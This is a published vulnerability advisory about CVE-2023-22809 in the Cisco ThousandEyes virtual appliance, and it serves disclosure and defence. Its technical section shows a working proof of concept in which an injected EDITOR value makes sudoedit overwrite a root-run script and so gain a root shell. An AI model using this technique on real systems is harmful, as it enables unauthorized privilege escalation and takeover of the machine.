Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification

`KL-001-2023-003: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit  
  
Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit  
Advisory ID: KL-001-2023-003  
Publication Date: 2023.08.17  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-003.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: ThousandEyes  
Affected Product: ThousandEyes Enterprise Agent Virtual Appliance  
Affected Version: thousandeyes-va-64-18.04 0.218  
Platform: Linux / Ubuntu 18.04  
CWE Classification: CWE-1395: Dependency on Vulnerable  
Third-Party Component  
CVE ID: CVE-2023-22809  
  
  
2. Vulnerability Description  
  
An unpatched vulnerability in 'sudoedit', allowed by sudo  
configuration, permits a low-privilege user to modify arbitrary  
files as root and subsequently execute arbitrary commands as  
root.  
  
  
3. Technical Description  
  
The ThousandEyes Virtual Appliance is distributed with  
a restrictive set of commands that can be executed via  
sudo, without having to provide the password for the  
'thousandeyes' account. However, the ability to execute  
sudoedit of a specific file (/etc/hosts) via sudo is permitted  
without requiring the password. The sudoedit binary can  
be abused to allow the modification of any file on the  
filesystem. This is a known security vulnerability (per  
https://seclists.org/oss-sec/2023/q1/42), but had not been  
disclosed for the ThousandEyes Virtual Appliance. This can be  
abused to allow root-level compromise of the virtual appliance.  
  
thousandeyes@thousandeyes-va:~$ id  
uid=1000(thousandeyes) gid=1000(thousandeyes)   
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)  
thousandeyes@thousandeyes-va:~$ sudo -l  
Matching Defaults entries for thousandeyes on thousandeyes-va:  
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User thousandeyes may run the following commands on thousandeyes-va:  
(ALL : ALL) ALL  
(ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va,   
/bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop  
te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start   
te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart  
te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig,   
/usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,  
/usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa,   
/usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install  
te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate,   
/usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*  
(root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump  
  
Here we see that /usr/local/bin/te-* are executable as root with no  
password. Even though sudoedit is only permitted to edit /etc/hosts,  
we can use EDITOR= to spawn vim to edit an arbitrary file. Pick one  
of those scripts because we can then execute it:  
  
thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config  
/usr/local/bin/te-set-config: Python script, ASCII text executable  
thousandeyes@thousandeyes-va:~$ EDITOR='vim -- /usr/local/bin/te-set-config' sudoedit /etc/hosts  
sudoedit: --: editing files in a writable directory is not permitted  
2 files to edit  
sudoedit: /etc/hosts unchanged  
thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config  
/usr/local/bin/te-set-config: ASCII text  
thousandeyes@thousandeyes-va:~$ cat /usr/local/bin/te-set-config  
/bin/bash  
thousandeyes@thousandeyes-va:~$ sudo /usr/local/bin/te-set-config  
root@thousandeyes-va:~# id  
uid=0(root) gid=0(root) groups=0(root)  
root@thousandeyes-va:~#  
  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has released a version which remediates the described  
vulnerability. Release notes are available at:  
  
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCwf18994  
  
  
5. Credit  
  
This vulnerability was discovered by Jim Becher of  
KoreLogic, Inc.  
  
  
6. Disclosure Timeline  
  
2023.04.26 - KoreLogic submits vulnerability details to Cisco.  
2023.04.26 - Cisco acknowledges receipt and the intention to  
investigate.  
2023.05.04 - Cisco notifies KoreLogic that a remediation for this  
vulnerability is expected to be available within  
90 days.  
2023.06.30 - 45 business days have elapsed since KoreLogic reported  
this vulnerability to the vendor.  
2023.07.11 - Cisco informs KoreLogic that the issue has been  
remediated in the latest ThousandEyes Virtual  
Appliance and a Third Party Software Release Note  
Enclosure will be released 2023.08.16. Cisco  
provides CVE-2023-22809 to track this vulnerability.  
2023.07.24 - 60 business days have elapsed since KoreLogic reported  
this vulnerability to the vendor.  
2023.08.16 - Cisco public acknowledgement.  
2023.08.17 - KoreLogic public disclosure.  
  
  
7. Proof of Concept  
  
See 3. Technical Description.  
  
  
The contents of this advisory are copyright(c) 2023  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt  
  
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